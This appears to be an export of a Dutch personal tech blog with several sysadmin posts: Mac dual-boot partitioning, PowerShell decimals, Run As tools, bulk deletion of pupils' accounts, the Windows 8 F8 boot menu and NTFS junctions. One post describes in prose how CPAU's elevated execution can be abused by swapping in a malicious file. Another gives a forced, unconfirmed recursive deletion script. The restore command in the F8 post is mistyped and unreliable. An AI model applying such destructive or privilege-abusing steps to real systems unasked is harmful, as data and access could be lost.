<h3 style="border: 0px; color: #444444; font-family: Lobster, sans-serif; font-size: 1.4em; font-stretch: inherit; line-height: 24px; margin: 0px; padding: 0px; vertical-align: baseline;">
<a name='more'></a>Voorbereiding</h3>
<div style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; padding: 0px 0px 1em; vertical-align: baseline;">
Mac OS X versie is nu 10.9.4. Al eerder had ik de MacBook met Bootcamp uitgerust met Windows 8 naast OS X. Vanaf 2014-09-01 ondersteunt Bootcamp ook Windows 8.1.</div>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
Ik heb daarna met behulp van Bootcamp dus Windows 8.1 geinstalleerd op de harde schijf. De schijf is in twee partities gesplitst:</div>
<ul style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">160 GB Mac OS X</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">340 GB Windows</li>
</ul>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
De ingebouwde harddisk was eerder vervangen door een 1 TB hybride harde schijf (met 8 GB SSD cache) en de partities zijn even groot gebleven. Er is nu dus 500 GB vrije ruimte.</div>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin: 1.33em 0px 0px; padding: 0px; vertical-align: baseline;">
</div>
<h3 style="border: 0px; color: #444444; font-family: Lobster, sans-serif; font-size: 1.4em; font-stretch: inherit; line-height: 24px; margin: 0px; padding: 0px; vertical-align: baseline;">
Backup met Clonezilla</h3>
<div style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; padding: 0px 0px 1em; vertical-align: baseline;">
Allereerst begin ik met een backup van de volledige harde schijf met behulp van <a class="urllink" href="http://clonezilla.org/" rel="nofollow" style="border: 0px; color: #1987dd; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Clonezilla</a> op een USB-harddisk. Ik heb geverifieerd dat ik een dualboot-installatie weer kan herstellen in werkende staat met Clonezilla. Omdat de partities nog niet erg gevuld zijn, past een volledige image op de USB-HD.</div>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin: 1.33em 0px 0px; padding: 0px; vertical-align: baseline;">
</div>
<h3 style="border: 0px; color: #444444; font-family: Lobster, sans-serif; font-size: 1.4em; font-stretch: inherit; line-height: 24px; margin: 0px; padding: 0px; vertical-align: baseline;">
Partitioneren met Apple Schijfhulpprogramma (Apple Disk Tool)</h3>
<div style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; padding: 0px 0px 1em; vertical-align: baseline;">
Omdat de partities op een Mac speciaal zijn (Zie ook <a class="urllink" href="http://www.rodsbooks.com/refind/" rel="nofollow" style="border: 0px; color: #1987dd; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">rEFInd</a>), kunnen de partities het beste van tevoren worden aangemaakt met Apple Schijfhulpprogramma.</div>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
De Linuxinstallatie heeft aparte partities nodig :</div>
<ul style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">partitie voor / (root)</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">partitie voor swap</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">partitie voor /boot</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">partitie voor "gereserveerd voor BIOS" oftewel "biosgrub"</li>
</ul>
<div style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; padding: 0px 0px 1em; vertical-align: baseline;">
en daarnaast is het handig voor stabiliteit om de home partitie apart te maken:</div>
<ul style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">partities voor /home</li>
</ul>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
Omdat Apple Schijfhulpprogramma een raar programma is, moet je om de beperkingen heen werken:</div>
<ul style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Elke nieuwe partitie neemt altijd alle vrije ruime in beslag</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Je kunt alleen de laatste twee partities vergroten of verkleinen door de splitter tussen de laatste twee partitie te verslepen of een capaciteit voor één partitie in te voeren.</li>
</ul>
<div style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; padding: 0px 0px 1em; vertical-align: baseline;">
Een partitie maken in de vrije ruimte neemt altijd alle ruimte in beslag. De enige manier om een partitie met een zekere ruimte te maken is om deze te splitsen en dan de eerste helft een vaste capaciteit in te voeren. Deze werkwijze herhaal ik om uiteindelijk alle partities te maken als volgt:</div>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin: 1.33em 0px 0px; padding: 0px; vertical-align: baseline;">
</div>
<ul style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">5 GB : /boot (ext4)</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">10 GB : Swap</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">90 GB : / "root" (ext4)</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">200 GB : /home (ext4)</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">5 GB : "gereserveerd voor BIOS" (wordt automatisch gelabeld "biosgrub")</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">de reset ongeveer 190 GB : hfs+</li>
</ul>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
Boot de Macbook met <strong style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Lubuntu 14.04.1 Desktop AMD64+Mac</strong> die ik met <a class="urllink" href="http://www.pendrivelinux.com/yumi-multiboot-usb-creator/" rel="nofollow" style="border: 0px; color: #1987dd; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">YUMI Multiboot Creator</a> op een USB-memorystick heb geinstalleerd.</div>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
Tijdens installatie worden alle partities aangewezen voor bovenstaande toepassing en geformatteerd met ext4 waar dat nodig is.</div>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin: 1.33em 0px 0px; padding: 0px; vertical-align: baseline;">
</div>
<h3 style="border: 0px; color: #444444; font-family: Lobster, sans-serif; font-size: 1.4em; font-stretch: inherit; line-height: 24px; margin: 0px; padding: 0px; vertical-align: baseline;">
Herstart</h3>
<div style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; padding: 0px 0px 1em; vertical-align: baseline;">
Na installatie van Lubuntu wordt gevraagd de laptop opnieuw te starten.</div>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
Met de Apple bootmanager (Alt-toets ingedrukt houden tijdens starten) zijn er nog steeds maar 3 partities zichtbaar , net als vóór de installatie van Lubuntu:</div>
<ul style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Mac OS X</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Recovery</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Windows</li>
</ul>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
Ik kies uiteindelijk de Windows-partitie om van de starten en GRUB start Grub geeft mij volgende keuzen:</div>
<ul style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Ubuntu</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Mac OS X 32-bit (sda2)</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Mac OS X 64-bit (sda2)</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Windows 8.1 (sda4)</li>
</ul>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
Netjes.. Ik schakel door naar Lubuntu. Werkt. Ik herstart en kies Windows. Werkt.</div>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin-top: 1.33em; padding: 0px 0px 1em; vertical-align: baseline;">
Presto! Mac OSX / Windows 8.1 / Lubuntu 14.04 zonder ingewikkelde fratsen.</div>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-45621698130808436672014-09-29T12:25:00.001-07:002015-06-15T23:46:15.058-07:00Grote getallen in PowerShell - deel 2PowerShell rekent met [Decimal] met grote precisie.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-IxR6L1Jvk04/VCm_1CsAL7I/AAAAAAAAA40/iHTBjHatV8s/s1600/1964-13-friden.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://4.bp.blogspot.com/-IxR6L1Jvk04/VCm_1CsAL7I/AAAAAAAAA40/iHTBjHatV8s/s1600/1964-13-friden.jpg" width="320" /></a></div>
<br />
<div>
Nu sept 2014 is Project Euler weer leuk aan het worden. Voor <a href="https://projecteuler.net/problem=26">probleem 26 "Reciprocal cycles"</a> is het handig om een precisie te hebben die groter is die van voor standaard datatypen. Ik wil liefst enkele tientallen cijfers achter de komman. Het <a href="http://msdn.microsoft.com/en-us/library/47zceaw7(v=VS.71).aspx">.NET data type</a> [System.Decimal] of kortweg [Decimal] kan dat! [Decimal] geeft 30 cijfers precisie of in het geval van een breuk 28 cijfers achter de komma.</div>
<div>
<br /></div>
<div>
<br />
<a name='more'></a>Voorbeeld:</div>
<div>
<br /></div>
<div>
Gewone getallen zoals </div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">$a = 1/7</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">$a</span></div>
<div>
<br /></div>
<div>
wordt bewaard in een double-variable en dit geeft 0,142857142857143, een precisie van 15 cijfers achter de komma . Maar een decimal-type zoals</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">[System.Decimal]$b = 1</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">$b = $b/7</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">$b</span></div>
</div>
<div>
<br /></div>
<div>
geeft 0,1428571428571428571428571429 en heeft 28 cijfers precisie!</div>
<div>
<br /></div>
<div>
Lees meer in <a href="http://msdn.microsoft.com/en-us/library/47zceaw7(v=VS.71).aspx">Data type Summary</a> </div>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-83050506411497538742014-09-04T00:37:00.000-07:002014-10-21T08:08:51.728-07:00Windows Run AsEr zijn een aantal mogelijkheden om programma's uit te voeren met andere credentials dan waarmee een gebruiker is aangemeld.<br />
<br />
<ul>
<li>CPAU</li>
<li>RunAsSpc</li>
<li>Steel Run As</li>
</ul>
<br />
Zoals de <a href="https://translate.google.nl/translate?sl=ru&tl=nl&js=y&prev=_t&hl=nl&ie=UTF-8&u=http%3A%2F%2Fadmin-to-admin.info%2Fblog%2Ftag%2Fcpau%2F&edit-text=&act=url">uit het Russisch vertaalde Admin Blog</a> laat zien heeft elke programma zijn voor- en nadelen.<br />
<h2>
<a name='more'></a>CPAU</h2>
CPAU heeft een beveiligingsprobleem. Het bestand dat door CPAU met andere (verhoogde) privileges wordt uitgevoerd, kun je vervangen door een andere schadelijk programma. Je kunt VIRUS.EXE hernoemen en laten uitvoeren door CPAU.<br />
<h2>
RunAsSpc</h2>
RunAsSpc gebruikt een certificaat om de grootte en checksum van het uit te voeren bestand op te slaan en te controleren. Helaas is RunAsSpc gratis voor persoonlijk gebruik , maar niet in bedrijven of instellingen.<br />
<h2>
Steel Run As</h2>
4Sysops heeft <a href="https://4sysops.com/archives/free-steel-run-as-let-standard-users-execute-with-administrator-rights/">hier </a>en <a href="https://4sysops.com/archives/run-a-program-with-administrator-rights-runasspc-cpau-and-steel-run-as-compared/">hier </a>geblogd over Steel Run As. Het programma biedt een GUI om zaken in te stellen.<br />
<h2>
Links</h2>
<ul>
<li><a href="http://www.joeware.net/freetools/tools/cpau/">CPAU</a></li>
<li><a href="http://www.robotronic.de/runasspcEn.html">RunAsSpc</a></li>
<li><a href="http://www.steelsonic.com/steelrunas.htm">Steel Run As</a></li>
</ul>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-1654280942553674502013-11-28T07:16:00.003-08:002014-10-21T08:09:51.570-07:00Snel even 300 leerlingen weggooienDe accounts van de leerlingen van vorig jaar staan er nog. Het zijn de schoolverlaters. Wat doe ik ermee? Het is een matige dag, niet veel belangrijks om te doen, geen spoedklussen of noodtoestanden. Dus ik gooi ze allemaal weg. Wat blijft er allemaal achter van een schoolverlater?<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-QE03jFMepYU/UpdeQinYLXI/AAAAAAAAAvE/ih4EQC4olE8/s1600/veewagen.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-QE03jFMepYU/UpdeQinYLXI/AAAAAAAAAvE/ih4EQC4olE8/s320/veewagen.jpg" height="320" width="215" /></a></div>
<a name='more'></a><br />
<ul>
<li>In de Active Directory staat het userobject</li>
<li>Op de mailserver staat een mailbox</li>
<li>Op de fileserver staat van iedere leerling een homedirectory met persoonlijke bestanden</li>
<li>Op de fileserver staat ook een profilefolder met bestanden die, als het goed is, niemand ooit ziet.</li>
</ul>
<div>
<br /></div>
<div>
Aan het werk..</div>
<div>
<br /></div>
<div>
Op de mailserver fabriceer ik een lijstje met namen. In mijn Active Directory Users and Computer MMC heb ik de schoolverlaters al in een aparte OU gezet. Ze hebben in het office-veld ook allemaal "schoolverlater" staan. Anders zou daar de klas in staan, maar dit zijn schoolverlaters.</div>
<div>
<br /></div>
<div>
Ik rechtsklik "Exchange Management Shell". Deze machine heeft ook RSAT geinstalleerd, dus is de module "activedirectory" ook beschikbaar en mag ik in de activedirectory grutten. Ik moet hem alleen even inladen.</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Import-Module activedirectory</span></div>
<div>
<br /></div>
<div>
Laat ik alvast alle mailboxen van de schoolverlaters opruimen: </div>
<div>
<br /></div>
<br />
<div>
<span style="font-family: Courier New, Courier, monospace;">Get-ADUser -filter {Office -eq "schoolverlater"} | %{ Disable-MailBox -Identity $_ -Confirm:$False -Verbose} </span></div>
<div>
<br /></div>
<div>
Oef! Slecht idee om de -verbose parameter mee te geven! Duizenden gele teksten schuiven langs in het venster. Daar kan ik niets mee.</div>
<div>
<br /></div>
<div>
</div>
<div>
Nu bewaar ik alle schoolverlaters in een tekstbestand.</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Get-ADUser -filter {Office -eq "schoolverlater"} | %{ Write-Host $_.name >> verwijder.txt}</span></div>
<div>
<br /></div>
<br />
<div>
doet het hem. Ik open verwijder.txt en kopieer de inhoud. Ik open een remote desktop op de fileserver en ga hier verder. Ik plak de inhoud ervan in een bestand hier genaamd verwijder.txt . Ik rechtsklik Windows PowerShell ISE en "run as administrator". Ik open een nieuw bestand die ik noem Wis-OudeHomedirs.ps1 en tik de volgende code in:</div>
<div>
<br /></div>
<br />
<div>
<span style="font-family: Courier New, Courier, monospace;">$lijst = get-content e:\scripts\verwijder.txt</span></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">$lijst | foreach {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> $u = "E:\data\users_l\studenten\$_"</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> if (test-path $U) {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> write-host "Wissen: $u" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> takeown.exe /A /R /D y /F $u | out-null</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> icacls.exe $u /t /c /reset | out-null</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> remove-item $u -force -recurse -confirm:$false</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
</div>
<div>
<br /></div>
<div>
Even uitleggen. Voor elke regel in het bestand maak ik een variable met het volledige padnaam naar de homedirectory van de leerling. Ik test voor de zekerheid nog eens of hij bestaat. Dan roep ik takeown aan, een extern DOS-commando waarmee ik mijzelf eigenaar maak van de map. Dat moet , want de map behoort eerst toe aan de leerling en ik moet nu mezelf eigenaar maken om er iets mee te kunnen doen. Stap 2 is mij rechten te geven op de map en alle onderliggende bestanden en files door de externe DOS-commando icacls.exe aan te roepen. . Vervolgens doet het PowerShell cmdlet Remove-Item het echte werk: recursief verwijderen en geen vragen stellen! </div>
<div>
<br /></div>
<div>
Ditzelfde doe ik met de profieldirectory en dan zijn alle schoolverlaters weg! De rector kan tevreden zijn. Ik stap met een voldaan gevoel op de fiets en ga naar huis.</div>
<div>
<br /></div>
<div>
<br /></div>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-23717090913314074612013-11-16T04:04:00.000-08:002014-10-21T08:10:14.323-07:00F8-toets in Windows 8 inschakelen om snel in Safe Mode te startenIn Windows 8 is de opstarttijd danig verkort, maar de hiervoor benodigde optimalisaties hebben al nadeel, dat het bootmenu dat je voorheen met F8 kon oproepen, niet meer werkt.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-yu7x6EZhh-s/UodfX6KNouI/AAAAAAAAAtw/7Ss-WIO5eak/s1600/advanced-boot-option-windows8.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-yu7x6EZhh-s/UodfX6KNouI/AAAAAAAAAtw/7Ss-WIO5eak/s320/advanced-boot-option-windows8.gif" height="249" width="320" /></a></div>
<br />
Wanneer je een probleem hebt met niet kunnen starten van Windows 8, start de computer in een automatisch herstel-procedure, die in mijn ervaring nog nooit het probleem heeft kunnen oplossen. <br />
<a name='more'></a>Aan het einde van deze tijdrovende fase, kun je een aantal keuzen maken, waaronder de PC in veilige modus starten. Om iedere keer weer deze automatisch herstelfase te moeten doorlopen duurt eindeloos.<br />
<br />
Er is een manier om zoals in Windows 7 en eerdere versie de F8-toets in te schakelen en snel bij het starten te kunnen kiezen voor veilige modus. Het is nodig om een commando prompt als administrator te starten. Voer vervolgens het volgende commando uit:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">bcdedit /set {default} bootmenupolicy legacy</span><br />
<br />
Hierna is de F8-toets ingeschakeld en kun je weer als voorheen snel het veilige modus kiezen of andere herstelopties kiezen. In Windows 8 is de bovenste keuze de manier om te komen bij het keuzemenu dat je normaliter krijgt na een langdurige automatisch-herstelprocedure , grafisch met wit tegels op een lichtblauw scherm.<br />
<br />
Als je de situatie weer wilt herstellen, voer dan uit in een commanoprompt als administrator:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">bcedit /set {default> bootmenupolicy default</span><br />
<br />
<br />
met dank aan: <a href="http://www.bleepingcomputer.com/tutorials/enable-the-f8-key-in-windows-8/">http://www.bleepingcomputer.com/tutorials/enable-the-f8-key-in-windows-8/</a>Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-49483572498488755182013-10-04T13:14:00.001-07:002014-10-21T08:10:40.347-07:00Gebruik een junction point om je game te versnellen<h2>
De situatie</h2>
<div>
Op mijn hard disk staat <span style="font-family: Courier New, Courier, monospace;"><b style="background-color: #fff2cc;">C:\Program Files (x86)\Origin Games\Battlefield 4 Beta</b></span> . Het laden duurt 3 minuten, want het is een megaspel en de hard disk is niet zo snel. Ik heb een SSD op <span style="background-color: #fff2cc; font-family: Courier New, Courier, monospace;">D:\</span>. </div>
<div>
<br /></div>
<h3>
De oplossing</h3>
<div>
<br />
<a name='more'></a>Kopieer de folder naar een SSD en maak met het MKLINK command een <a href="http://en.wikipedia.org/wiki/NTFS_junction_point">junction point</a> naar die map. Junction points zijn een relatief onbekende feature van <a href="http://nl.wikipedia.org/wiki/New_Technology_File_System">NTFS</a> file systeem in Windows, vergelijkbaar met een hard link in Unix en Linux.Om junctions te beheren zijn er hulpprogramma's beschikbaar zoals <a href="http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx">Junction van SysInternals</a> maar het ingebouwde commando Mklink doet het prima.</div>
<div>
<br />
Mocht je dit willen nadoen, dan raad je ik sterk aan om eerst je <b>Origin Game Client</b> uit te schakelen! De map Origin Games wordt namelijk door dit programma beheerd en je wilt niet dat de boel in de soep loopt.<br />
<br /></div>
<div>
Dus ik kopieer de directory <b style="background-color: #fff2cc; font-family: 'Courier New', Courier, monospace;">C:\Program Files (x86)\Origin Games\Battlefield 4 Beta</b> naar mijn SSD in <span style="background-color: #fff2cc; font-family: Courier New, Courier, monospace;"><b>D:\Battlefield 4 Beta</b></span> en ik maak een junction met de naam <b style="background-color: #fff2cc; font-family: 'Courier New', Courier, monospace;">C:\Program Files (x86)\Origin Games\Battlefield 4 Beta</b> die verwijst naar de folder <b style="background-color: #fff2cc; font-family: 'Courier New', Courier, monospace;">D:\Battlefield 4 Beta</b> . </div>
<div>
<br /></div>
<div>
Werkwijze:</div>
<div>
<ul>
<li>Kopieer de map "C:\Program Files (x86)\Origin Games\Battlefield 4 Beta" naar "D:\Battlefield 4 Beta"</li>
<li>Verwijder de map "C:\Program Files (x86)\Origin Games\Battlefield 4 Beta" </li>
<li>Open een commandprompt als administrator</li>
<li><b style="background-color: #fff2cc; font-family: 'Courier New', Courier, monospace;">cd "C:\Program Files (x86)\Origin Games"</b></li>
<li><b style="background-color: #fff2cc; font-family: 'Courier New', Courier, monospace;">mklink /J "Battlefield 4 Beta" "D:\Battlefield 4 Beta"</b></li>
</ul>
<div>
Presto! Instant SSD snelheid voor het starten van Battlefield 4 !!<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-o6l4HS4Uyuo/Uk8m_0pzmKI/AAAAAAAAAm8/GJ6sXdNFQTs/s1600/junction2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-o6l4HS4Uyuo/Uk8m_0pzmKI/AAAAAAAAAm8/GJ6sXdNFQTs/s1600/junction2.png" /></a></div>
<br /></div>
</div>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-50349162195565043212013-05-29T03:04:00.002-07:002014-10-21T08:11:03.885-07:00Get Chromium<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-30QPvzHjxFU/UaXSfRKv6AI/AAAAAAAAAlM/nnGIiJ52V0Y/s1600/chrome-64.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-30QPvzHjxFU/UaXSfRKv6AI/AAAAAAAAAlM/nnGIiJ52V0Y/s1600/chrome-64.png" /></a></div>
